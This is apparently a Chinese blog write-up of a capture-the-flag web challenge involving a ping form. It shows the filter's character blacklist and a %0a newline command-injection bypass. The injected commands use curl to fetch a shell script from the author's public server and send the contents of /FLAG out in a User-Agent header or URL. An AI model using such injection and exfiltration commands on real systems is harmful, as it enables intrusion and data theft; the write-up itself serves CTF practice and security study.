BUU N1BOOK [第二章 web进阶]死亡ping命令

最新推荐文章于 2023-11-26 14:48:46 发布

SwBack

最新推荐文章于 2023-11-26 14:48:46 发布

阅读量2.3k

点赞数 2

分类专栏： CTF 文章标签： linux jenkins ssh

CC BY-NC 4.0

本文链接：https://blog.csdn.net/qq_30817059/article/details/120059683

版权

24 篇文章 2 订阅

订阅专栏

"本文讲述了作者如何通过在URL中巧妙使用`%0a`绕过黑名单，利用curl从公网服务器下载并执行shell脚本来获取flag的过程，以及为何选择curl而非其他方式。最终，成功获取了flag n1book{6fa82809179d7f19c67259aa285a7729}

摘要由CSDN通过智能技术生成

题目首页

存在以下黑名单过滤

["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"","'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];

但是发现%0a可以执行命令
在这里插入图片描述

准备工作

a=`cat /FLAG`
curl -v -H "User-Agent:$a" 公网IP地址

在这里插入图片描述

题目前台首页有字符长度限制，可以双击，然后修改或删除屏蔽代码
在这里插入图片描述
也可以直接burpsuite抓包进行修改
步骤如下

请求自己公网服务器 shell所在位置，并将其保存在指定目录
```
ip=127.0.0.1%0acurl 公网IP地址/1.sh > /tmp/6666.sh 
```

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
获得flag

n1book{6fa82809179d7f19c67259aa285a7729}

之所以通过curl请求的方式来获取flag。而不是其他wp那样nc来反弹flag的原因也很简单.反弹不出来。无奈通过这种方法
本来是直接将flag请求在url后面。但是前面cat /FLAG 一直写成小写，
但是自己并未发现，改成User-Agent 之后才发现。索性就这样写了。

a=`cat /FLAG`
curl 公网IP/$a

以下内容为本地测试。

执行脚本后，成功请求
在这里插入图片描述

关注

专栏目录